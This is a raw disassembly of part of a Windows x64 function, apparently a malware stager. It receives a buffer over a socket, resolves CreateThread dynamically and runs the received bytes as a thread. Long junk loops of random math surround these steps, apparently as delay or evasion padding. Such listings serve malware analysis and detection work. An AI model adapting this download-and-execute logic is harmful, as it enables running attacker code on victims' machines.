mov qword [rbp + 0x1d8], 0
mov qword [rbp + 0x388], 0
mov rax, qword [rbp + 0x208]
add rax, 0xa
mov qword [rbp + 0x380], rax
jmp 0x402b73
mov rax, qword [rbp + 0x160]
mov edx, eax
mov rax, qword [rbp + 0x388]
sub edx, eax
mov eax, edx
mov ecx, eax
mov rax, qword [rbp + 0x148]
mov rdx, qword [rbp + 0x380]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
cdqe
mov qword [rbp + 0x1d8], rax
mov rax, qword [rbp + 0x1d8]
add qword [rbp + 0x380], rax
mov rax, qword [rbp + 0x1d8]
add qword [rbp + 0x388], rax
cmp qword [rbp + 0x1d8], 0xffffffffffffffff
jne 0x402b73
mov dword [rbp + 0x37c], 0xffffffff
mov ecx, 0x24b7d10
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1d0], rax
add dword [rbp + 0x37c], 1
call sub.msvcrt.dll_rand
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x00407098]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x37c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1d0]
add rax, rdx
movsd xmm1, qword [0x004070b0]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x37c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1d0]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x37c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1d0]
lea rbx, [rdx + rax]
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x37c], 0x496fa0
jle 0x402aad
mov rax, qword [rbp + 0x148]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 1
call sub.msvcrt.dll_exit
mov rdx, qword [rbp + 0x388]
mov rax, qword [rbp + 0x160]
cmp rdx, rax
jb 0x402a26
mov rax, qword [rbp + 0x388]
mov qword [rbp + 0x228], rax
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.CreateThread
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1c8], rax
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.WaitForSingleObject
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1c0], rax
mov ecx, 0x2c7cfd0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1b8], rax
mov dword [rbp + 0x378], 0
jmp 0x402c43
call sub.msvcrt.dll_rand
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x378]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1b8]
add rax, rdx
movsd xmm1, qword [0x00407098]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x378], 1
cmp dword [rbp + 0x378], 0x58f9f9
jle 0x402c09
mov dword [rbp + 0x378], 0
jmp 0x402ccf
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x51eb851f
mov eax, ecx
imul edx
sar edx, 5
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x64
sub ecx, eax
mov eax, ecx
cvtsi2sd xmm1, eax
mov eax, dword [rbp + 0x378]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1b8]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x378]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1b8]
lea rbx, [rdx + rax]
call fcn.00404af0
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x378], 1
cmp dword [rbp + 0x378], 0x58f9f9
jle 0x402c5b
mov rdx, qword [rbp + 0x208]
lea rax, [rbp + 0x16c]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov rax, qword [rbp + 0x1c8]
mov r9d, 0
mov r8, rdx
mov edx, 0
mov ecx, 0
call rax
mov qword [rbp + 0x1b0], rax
mov ecx, 0x37eac90
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1a8], rax
mov ecx, 0x37eac90
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1a0], rax
mov dword [rbp + 0x374], 0
jmp 0x402dcd
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
sar edx, 6
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x3e8
sub ecx, eax
mov eax, ecx
cvtsi2sd xmm6, eax
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0xea0ea0eb
mov eax, ecx
imul edx
lea eax, [rdx + rcx]
sar eax, 6
mov edx, eax
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x46
sub ecx, eax
mov eax, ecx
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x374]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1a8]
add rax, rdx
divsd xmm6, xmm0
movapd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x374], 1
cmp dword [rbp + 0x374], 0x6fd591
jle 0x402d4a
mov dword [rbp + 0x374], 0
jmp 0x402e36
mov eax, dword [rbp + 0x374]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1a8]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x374]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1a0]
lea rbx, [rdx + rax]
call fcn.00404840
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x374], 1
cmp dword [rbp + 0x374], 0x6fd591
jle 0x402de9
mov rcx, qword [rbp + 0x1b0]
mov rax, qword [rbp + 0x1c0]
mov edx, 0xffffffff
call rax
mov dword [rbp + 0x19c], eax
jmp 0x4031b3
mov ecx, 0x37eac90
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x188], rax
mov ecx, 0x37eac90
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x180], rax
mov dword [rbp + 0x370], 0
jmp 0x402f16
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
sar edx, 6
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x3e8
sub ecx, eax
mov eax, ecx
cvtsi2sd xmm6, eax
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0xea0ea0eb
mov eax, ecx
imul edx
lea eax, [rdx + rcx]
sar eax, 6
mov edx, eax
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x46
sub ecx, eax
mov eax, ecx
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x370]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x188]
add rax, rdx
divsd xmm6, xmm0
movapd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x370], 1
cmp dword [rbp + 0x370], 0x6fd591
jle 0x402e93
mov dword [rbp + 0x370], 0
jmp 0x402f7f
mov eax, dword [rbp + 0x370]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x188]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x370]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x180]
lea rbx, [rdx + rax]
call fcn.00404840
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x370], 1
cmp dword [rbp + 0x370], 0x6fd591
jle 0x402f32
jmp 0x4031b3
mov dword [rbp + 0x36c], 0
jmp 0x402fcf
call sub.msvcrt.dll_rand
imul eax, eax, 0x3b4
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x00407098]
divsd xmm0, xmm1
call fcn.00404c00
movq rax, xmm0
mov qword [rbp + 0x178], rax
add dword [rbp + 0x36c], 1
cmp dword [rbp + 0x36c], 0x3f17db
jle 0x402f9c
jmp 0x4031b3
mov dword [rbp + 0x360], 0
mov ecx, 0x15bb497c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x170], rax
mov dword [rbp + 0x368], 0
jmp 0x40307b
mov dword [rbp + 0x364], 0
jmp 0x403068
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x51eb851f
mov eax, ecx
imul edx
sar edx, 5
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x64
sub ecx, eax
mov eax, ecx
mov edx, dword [rbp + 0x368]
movsxd rdx, edx
imul rcx, rdx, 0x99fc
mov rdx, qword [rbp + 0x170]
add rdx, rcx
cvtsi2ss xmm0, eax
mov eax, dword [rbp + 0x364]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x364], 1
cmp dword [rbp + 0x364], 0x267e
jle 0x403013
add dword [rbp + 0x368], 1
cmp dword [rbp + 0x368], 0x2420
jle 0x403007
mov dword [rbp + 0x368], 0
jmp 0x4030f5
mov dword [rbp + 0x364], 0
jmp 0x4030e2
cvtsi2ss xmm1, dword [rbp + 0x360]
mov eax, dword [rbp + 0x368]
cdqe
imul rdx, rax, 0x99fc
mov rax, qword [rbp + 0x170]
add rdx, rax
mov eax, dword [rbp + 0x364]
cdqe
movss xmm0, dword [rdx + rax*4]
addss xmm0, xmm1
cvttss2si eax, xmm0
mov dword [rbp + 0x360], eax
add dword [rbp + 0x364], 1
cmp dword [rbp + 0x364], 0x267e
jle 0x40309f
add dword [rbp + 0x368], 1
cmp dword [rbp + 0x368], 0x2420
jle 0x403093
mov rax, qword [rbp + 0x170]
mov rcx, rax
call sub.msvcrt.dll_free
jmp 0x4031b3
mov dword [rbp + 0x35c], 0xffffffff
pxor xmm0, xmm0
movsd qword [rbp + 0x350], xmm0
add dword [rbp + 0x35c], 1
cvtsi2sd xmm1, dword [rbp + 0x35c]
movsd xmm0, qword [0x004070b0]
addsd xmm1, xmm0
movsd xmm0, qword [0x004070e8]
call fcn.00404de0
movapd xmm2, xmm0
cvtsi2sd xmm0, dword [rbp + 0x35c]
addsd xmm0, xmm0
movsd xmm1, qword [0x004070b0]
subsd xmm0, xmm1
divsd xmm2, xmm0
movapd xmm0, xmm2
movsd xmm1, qword [rbp + 0x350]
addsd xmm0, xmm1
movsd qword [rbp + 0x350], xmm0
cmp dword [rbp + 0x35c], 0x8070d1
jle 0x40312b
movsd xmm1, qword [rbp + 0x350]
movsd xmm0, qword [0x004070f0]
mulsd xmm0, xmm1
movsd qword [rbp + 0x350], xmm0
mov eax, 0
movaps xmm6, xmmword [rbp + 0x410]
add rsp, 0x4a8
pop rbx
pop rbp
ret